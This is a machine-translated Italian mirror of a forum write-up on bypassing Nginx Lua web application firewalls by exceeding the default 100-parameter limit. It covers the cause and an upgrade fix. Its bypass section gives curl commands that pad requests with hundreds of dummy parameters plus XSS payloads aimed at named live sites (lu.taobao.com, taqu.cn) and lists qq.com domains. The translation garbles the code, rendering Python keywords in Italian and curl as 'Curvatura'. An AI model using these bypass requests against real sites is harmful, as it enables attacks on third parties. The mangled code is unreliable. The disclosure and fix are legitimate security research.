Questo articolo è un articolo speculare di traduzione automatica, clicca qui per saltare all'articolo originale.

Vista: 16994|Risposta: 1

[Vulnerabilità di sicurezza] Vulnerabilità del firewall delle applicazioni WAF di Nginx Lua

[Copiato link]
Pubblicato su 27/04/2018 09:23:29 | | | |
Quando ginx Lua ottiene i parametri, i primi 100 parametri vengono ottenuti di default e gli altri vengono scartati.
Pertanto, i WAF che utilizzano Nginx Lua verranno bypassati di default.
Il 20 aprile 18, qualcuno sul passeggero di sicurezza aveva già rivelato questo dettaglio, quindi ho pubblicato anche questo articolo 233.



Principio

La descrizione ufficiale è la seguente

Si noti che un massimo di 100 argomenti di richiesta vengono analizzati di default (inclusi quelli con lo stesso nome) e che ulteriori argomenti di richiesta vengono silenziosamente scartati per prevenire potenziali Attacchi di negazione del servizio.

Fino a 100 parametri di richiesta (inclusi quelli con lo stesso nome) possono essere analizzati di default, e parametri aggiuntivi vengono automaticamente eliminati per prevenire potenziali attacchi di negazione del servizio.

Cerca 100, più o meno il metodo seguente ha lo stesso problema.
ngx.req.get_uri_args Ottieni i parametri di richiesta per get
ngx.req.get_post_args Ottieni i parametri di richiesta per il post
ngx.req.get_headers Ottieni l'intestazione richiesta
ngx.decode_args Decodifica l'URL dei parametri
ngx.resp.get_headers Ottieni l'intestazione di risposta
Nel codice sorgente del modulo lua-nginx, possiamo vedere che il codice sorgente imposta il parametro massimo predefinito della richiesta e l'intestazione a 100




#ifndef NGX_HTTP_LUA_MAX_HEADERS
#define NGX_HTTP_LUA_MAX_HEADERS 100
#endif

Tuttavia, l'ufficiale fornisce un metodo per modificare il valore predefinito, come ngx.req.get_uri_args (200) per ottenere i primi 200 parametri di richiesta.

Test

Se il parametro della richiesta è 101, l'ultimo parametro della richiesta non può essere ottenuto.

Curl -V 'http://test.zbg.org/test?a1=1&a2=2&a3=3&a4=4&a5=5&a6=6&a7=7&a8=8&a9=9&a10=10&a11=11&a12=12&a13=13&a14=14&a15=15&a16=16&a17=17&a18=18&a19=19&a20=20&a21=21&a22=22&a23=23&a24=24&a25=25&a26=26&a27=27&a28=28&a29=29&a30=30&a31=31&a32=32&a33=33&a34=34&a35=35&a36=36&a37=37&a38=38&a39=39&a40=40&a41=41&a42=42&a43=43&a44=44&a45=45&a46=46&a47=47&a48=48&a49=49&a50=50&a51=51&a52=52&a53=53&a54=54&a55=55&a56=56&a57=57&a58=58&a59=59&a60=60&a61=61&a62=62&a63=63&a64=64&a65=65&a66=66&a67=67&a68=68&a69=69&a70=70&a71=71&a72=72&a73=73&a74=74&a75=75&a76=76&a77=77&a78=78&a79=79&a80=80&a81=81&a82=82&a83=83&a84=84&a85=85&a86=86&a87=87&a88=88&a89=89&a90=90&a91=91&a92=92&a93=93&a94=94&a95=95&a96=96&a97=97&a98=98&a99=99&a100=100&a=zbg'

Se riduci un parametro di richiesta, puoi ottenere l'ultimo parametro di richiesta quando i parametri sono esattamente 100.

a77: 77
a9: 9
a43: 43
a24: 24
a52: 52
a61: 61
a35: 35
a70: 70
a78: 78
a42: 42
a53: 53
a49: 49
a87: 87
a60: 60
a58: 58
a96: 96
a14: 14
a27: 27
a15: 15
a85: 85
a36: 36
a26: 26
a41: 41
a94: 94
a37: 37
a50: 50
a63: 63
a48: 48
a72: 72
a12: 12
a29: 29
a59: 59
a38: 38
a62: 62
R: ZBG
Ti ho preso, zbg

Si noti che il valore predefinito è effettivamente 100 parametri di richiesta, e i parametri di richiesta dopo 100 parametri verranno scartati.

C'è una cosa strana: nel contenuto di ritorno sopra, nel mezzo della posizione approssimativa, il parametro finale zbg è già in output. La mia ipotesi è che l'output non sia in ordine, ma l'ordine in cui viene effettuata l'analisi segua l'ordine in cui vengono inviati i parametri, perché quando il valore del parametro 101 è zbg, il valore non può essere ottenuto.

Allegato è lo script python che genera i parametri:

# Autore: ZBG
# Mail:zbg@zbg.org
# Data: 2018-04-03

a = ''
per i nell'intervallo(200):
    a = a + 'a{0}={1}&'.format(i+1, i+1)
Stampa A
riparare
Naturalmente, non è consigliato modificare il valore MAX del parametro nel codice sorgente. Perché, non importa quanto grande sia il valore che imposti, può essere bypassato. Si consiglia di impostarlo secondo i parametri del metodo.
Se riesci a ottenere la lunghezza del parametro richiesta e usare un metodo come ngx.req.get_uri_args (lenth), non sarebbe sufficiente?
Leggendo la documentazione, ho scoperto che il numero di parametri richiesti non poteva essere ottenuto. Tuttavia, se imposti la lente a 0, puoi ottenere tutti i parametri richiesti.

Questo argomento può essere impostato a zero per rimuovere il limite e per elaborare tutti gli argomenti di richiesta ricevuti.
args locale = ngx.req.get_uri_args(0)

Tuttavia, è fortemente sconsigliato impostarla a 0 per prevenire potenziali attacchi di denial-of-service.

La rimozione del limite di max_args è fortemente sconsigliata.

In realtà, mi chiedevo perché impostare 0 porterebbe a un potenziale attacco di negazione del servizio, e la richiesta andrebbe comunque a nginx, indipendentemente da quanti parametri ci fossero in get o post.

Ho sollevato un problema al funzionario, e l'autore ha detto che ngx.req.get_uri_args (0) aumenterà l'uso di CPU e memoria del server. Successivamente, ho testato 200 parametri e ho usato Nginx+php per ottenere il parametro 200, il che significa che Nginx non limita di default il numero di parametri richiesti. Allora il problema potrebbe risiedere in Nginx Lua stesso,Quando Nginx Lua usa ngx.req.get_uri_args(0) per ottenere tutti i parametri e li itera, una volta che molti parametri vengono richiesti, consuma più CPU e memoria, e alla fine porta persino a un denial of service

Il 03/04/2018, Bypass007 ha ufficialmente sollevato un PROBLEMA riguardo a questa correzione di bug, e infine ha aggiunto ufficialmente una nuova funzionalità basata su questo PROBLEMA il 21-04-2018. L'indirizzo del record di commit di questa funzione: https://github.com/openresty/lua-nginx-module/commit/52af63a5b949d6da2289e2de3fb839e2aba4cbfd

La descrizione della funzione è la seguente: nelle versioni successive a v0.10.13 (inclusa v0.10.13), quando il numero limite di richieste viene violato, il secondo valore di ritorno è la stringa troncata.
Dalla v0.10.13, quando il limite viene superato, restituirà un secondo valore che è la stringa "troncata".
Tuttavia, l'argomento opzionale della funzione max_args può essere usato per superare questo limite:
args locale, err = ngx.req.get_uri_args(10)
se err == "troncato" allora
     -- qui si può scegliere di ignorare o rifiutare la richiesta attuale
fine

Quindi, è uscita la soluzione finale.

Aggiorna lua-nginx-module a v0.10.13 o successivamente

Poi limita il numero totale di parametri, per quanto riguarda il limite totale del totale, personalmente penso che 100 siano sufficienti

OpenResty aggiorna il modulo lua-nginx

Non ho trovato informazioni sul modulo di aggiornamento OpenResty, quindi ho capito da solo come aggiornare il modulo lua-nginx.

I passaggi sono i seguenti:

Scarica la versione corrispondente del modulo lua-nginx
WGET https://github.com/openresty/lua-nginx-module/releases/tag/v0.10.13
disimballare
tar -zxvf v0.10.13
Elimina la versione precedente del modulo lua-nginx
rm -RF OpenResty-1.9.15.1/Bundle/ngx_lua-0.10.5
Copia il nuovo modulo lua-nginx
MV Lua-nginx-module-0.10.13 OpenResty-1.9.15.1/bundle/ngx_lua-0.10.13
Per la compilazione, si riferisce ai parametri di compilazione di VeryNginx


Bypass del caso

Va chiarito che i seguenti WAF non sono sicuro se usare Nginx Lua, ma possono essere bypassati dal numero totale di parametri.

Ali WAF

Questo WAF è un WAF usato internamente da Alibaba, cioè il WAF usato da nomi di dominio come *.taobao.com, e non è stato testato per il WAF cloud venduto da Alibaba Cloud.
Per prima cosa, richiedi un payload POST XSS per intercettarlo.
curl -v -d 'a=<img src=x onerror=alert(/xss/)>)' lu.taobao.com
Attraverso Fuzz, si è scoperto che quando il numero di parametri aumenta a 478, con XSS Payload, non viene più intercettato e il sito web può essere consultato normalmente.
Curvatura -v -D 'a1=1&a2=2&a3=3&a4=4&a5=5&a6=6&a7=7&a8=8&a9=9&a10=10&a11=11&a12=12&a13=13&a14=14&a15=15&a16=16&a17=17&a18=18&a19=19&a20=20&a21=21&a22=22&a23=23&a24=24&a25=25&a26=26& a27=27&a28=28&a29=29&a30=30&a31=31&a32=32&a33=33&a34=34&a35=35&a36=36&a37=37&a38=38&a39=39&a40=40&a41=41&a42=42&a43=43&a44=44&a45=45&a46=46&a47=47&a48=48&a49=49&a50= 50&a51=51&a52=52&a53=53&a54=54&a55=55&a56=56&a57=57&a58=58&a59=59&a60=60&a61=61&a62=62&a63=63&a64=64&a65=65&a66=66&a67=67&a68=68&a69=69&a70=70&a71=71&a72=72&a73=73& a74=74&a75=75&a76=76&a77=77&a78=78&a79=79&a80=80&a81=81&a82=82&a83=83&a84=84&a85=85&a86=86&a87=87&a88=88&a89=89&a90=90&a91=91&a92=92&a93=93&a94=94&a95=95&a96=96&a97= 97&a98=98&a99=99&a100=100&a101=101&a102=102&a103=103&a104=104&a105=105&a106=106&a107=107&a108=108&a109=109&a110=110&a111=111&a112=112&a113=113&a114=114&a115=115&a116= 116&a117=117&a118=118&a119=119&a120=120&a121=121&a122=122&a123=123&a124=124&a125=125&a126=126&a127=127&a128=128&a129=129&a130=130&a131=131&a132=132&a133=133&a134=134& a135=135&a136=136&a137=137&a138=138&a139=139&a140=140&a141=141&a142=142&a143=143&a144=144&a145=145&a146=146&a147=147&a148=148&a149=149&a150=150&a151=151&a152=152&a153= 153&a154=154&a155=155&a156=156&a157=157&a158=158&a159=159&a160=160&a161=161&a162=162&a163=163&a164=164&a165=165&a166=166&a167=167&a168=168&a169=169&a170=170&a171=171& a172=172&a173=173&a174=174&a175=175&a176=176&a177=177&a178=178&a179=179&a180=180&a181=181&a182=182&a183=183&a184=184&a185=185&a186=186&a187=187&a188=188&a189=189&a190= 190&a191=191&a192=192&a193=193&a194=194&a195=195&a196=196&a197=197&a198=198&a199=199&a200=200&a201=201&a202=202&a203=203&a204=204&a205=205&a206=206&a207=207&a208=208& a209=209&a210=210&a211=211&a212=212&a213=213&a214=214&a215=215&a216=216&a217=217&a218=218&a219=219&a220=220&a221=221&a222=222&a223=223&a224=224&a225=225&a226=226&a227= 227&a228=228&a229=229&a230=230&a231=231&a232=232&a233=233&a234=234&a235=235&a236=236&a237=237&a238=238&a239=239&a240=240&a241=241&a242=242&a243=243&a244=244&a245=245& a246=246&a247=247&a248=248&a249=249&a250=250&a251=251&a252=252&a253=253&a254=254&a255=255&a256=256&a257=257&a258=258&a259=259&a260=260&a261=261&a262=262&a263=263&a264= 264&a265=265&a266=266&a267=267&a268=268&a269=269&a270=270&a271=271&a272=272&a273=273&a274=274&a275=275&a276=276&a277=277&a278=278&a279=279&a280=280&a281=281&a282=282& a283=283&a284=284&a285=285&a286=286&a287=287&a288=288&a289=289&a290=290&a291=291&a292=292&a293=293&a294=294&a295=295&a296=296&a297=297&a298=298&a299=299&a299=299&a300=300&a301= 301&a302=302&a303=303&a304=304&a305=305&a306=306&a307=307&a308=308&a309=309&a310=310&a311=311&a312=312&a313=313&a314=314&a315=315&a316=316&a317=317&a318=318&a319=319& a320=320&a321=321&a322=322&a323=323&a324=324&a325=325&a326=326&a327=327&a328=328&a329=329&a330=330&a331=331&a332=332&a333=333&a334=334&a335=335&a336=336&a337=337&a338= 338&a339=339&a340=340&a341=341&a342=342&a343=343&a344=344&a345=345&a346=346&a347=347&a348=348&a349=349&a350=350&a351=351&a352=352&a353=353&a354=354&a355=355&a355=355&a356=356& a357=357&a358=358&a359=359&a360=360&a361=361&a362=362&a363=363&a364=364&a365=365&a366=366&a367=367&a368=368&a369=369&a370=370&a371=371&a372=372&a373=373&a374=374&a375= 375&a376=376&a377=377&a378=378&a379=379&a380=380&a381=381&a382=382&a383=383&a384=384&a385=385&a386=386&a387=387&a388=388&a388=389&a390=390&a391=391&a392=392&a393=393& a394=394&a395=395&a396=396&a397=397&a398=398&a399=399&a400=400&a401=401&a402=402&a403=403&a404=404&a405=405&a406=406&a407=407&a408=408&a409=409&a410=410&a411=411&a412= 412&a413=413&a414=414&a415=415&a416=416&a417=417&a418=418&a419=419&a420=420&a421=421&a422=422&a423=423&a424=424&a425=425&a426=426&a427=427&a428=428&a429=429&a430=430& a431=431&a432=432&a433=433&a434=434&a435=435&a436=436&a437=437&a438=438&a439=439&a440=440&a441=441&a442=442&a443=443&a444=444&a445=445&a446=446&a447=447&a448=448&a449= 449&a450=450&a451=451&a452=452&a453=453&a454=454&a455=455&a456=456&a457=457&a458=458&a459=459&a460=460&a461=461&a462=462&a463=463&a464=464&a465=465&a466=466&a467=467& a468=468&a469=469&a470=470&a471=471&a472=472&a473=473&a474=474&a475=475&a476=476&a477=477&a=<img src=x onerror=alert(/xss/)>' lu.taobao.com

UCloud

Il WAF testato è un WAF venduto da UCloud.
Quando il parametro della richiesta viene aumentato a 138, non verrà più bloccato e il sito web sarà accessibile normalmente.
curl -d 'a1=1&a2=2&a3=3&a4=4&a5=5&a6=6&a7=7&a8=8&a9=9&a10=10&a11=11&a12=12&a13=13&a14=14&a15=15&a16=16&a17=17&a18=18&a19=19&a20=20&a21=21&a22=22&a23=23&a24=24&a25=25&a26=26& a27=27&a28=28&a29=29&a30=30&a31=31&a32=32&a33=33&a34=34&a35=35&a36=36&a37=37&a38=38&a39=39&a40=40&a41=41&a42=42&a43=43&a44=44&a45=45&a46=46&a47=47&a48=48&a49=49&a50= 50&a51=51&a52=52&a53=53&a54=54&a55=55&a56=56&a57=57&a58=58&a59=59&a60=60&a61=61&a62=62&a63=63&a64=64&a65=65&a66=66&a67=67&a68=68&a69=69&a70=70&a71=71&a72=72&a73=73& a74=74&a75=75&a76=76&a77=77&a78=78&a79=79&a80=80&a81=81&a82=82&a83=83&a84=84&a85=85&a86=86&a87=87&a88=88&a89=89&a90=90&a91=91&a92=92&a93=93&a94=94&a95=95&a96=96&a97= 97&a98=98&a99=99&a100=100&a101=101&a102=102&a103=103&a104=104&a105=105&a106=106&a107=107&a108=108&a109=109&a110=110&a111=111&a112=112&a113=113&a114=114&a115=115&a116= 116&a117=117&a118=118&a119=119&a120=120&a121=121&a122=122&a123=123&a124=124&a125=125&a126=126&a127=127&a128=128&a129=129&a130=130&a131=131&a132=132&a133=133&a134=134& a135=135&a136=136&a137=137&a=allarme(1234)' taqu.cn

Tencent WAF

Questo WAF è un WAF usato internamente da Tencent, cioè il WAF usato da nomi di dominio come *.qq.com, e non è stato testato per il WAF cloud venduto da Tencent Cloud.
Quando il parametro della richiesta aumenta a 4000, non verrà più bloccato e il sito web sarà accessibile normalmente. Sono coinvolti test casuali dei seguenti domini.
web.qq.com
ke.qq.com
auto.qq.com
news.qq.com
sports.qq.com
time.qq.com

sommario

Questa domanda è molto semplice, e puoi trovarla leggendo attentamente il documento. Ma perché non l'ho scoperto? Penso che sia ancora troppo poco pensiero.
Riferimento
https://github.com/p0pr0ck5/lua-resty-waf/issues/280
https://github.com/openresty/lua-nginx-module#ngxreqget_uri_args
https://github.com/openresty/openresty/issues/358
https://github.com/openresty/lua-nginx-module/commit/52af63a5b949d6da2289e2de3fb839e2aba4cbfd





Precedente:Impara Photoshop da zero, 18 lezioni dal principiante al dio
Prossimo:Punti di forza e debolezze di Lua e Luajit
Disconoscimento:
Tutto il software, i materiali di programmazione o gli articoli pubblicati dalla Code Farmer Network sono destinati esclusivamente all'apprendimento e alla ricerca; I contenuti sopra elencati non devono essere utilizzati per scopi commerciali o illegali, altrimenti gli utenti dovranno sostenere tutte le conseguenze. Le informazioni su questo sito provengono da Internet, e le controversie sul copyright non hanno nulla a che fare con questo sito. Devi eliminare completamente i contenuti sopra elencati dal tuo computer entro 24 ore dal download. Se ti piace il programma, ti preghiamo di supportare software autentico, acquistare la registrazione e ottenere servizi autentici migliori. In caso di violazione, vi preghiamo di contattarci via email.

Mail To:help@itsvse.com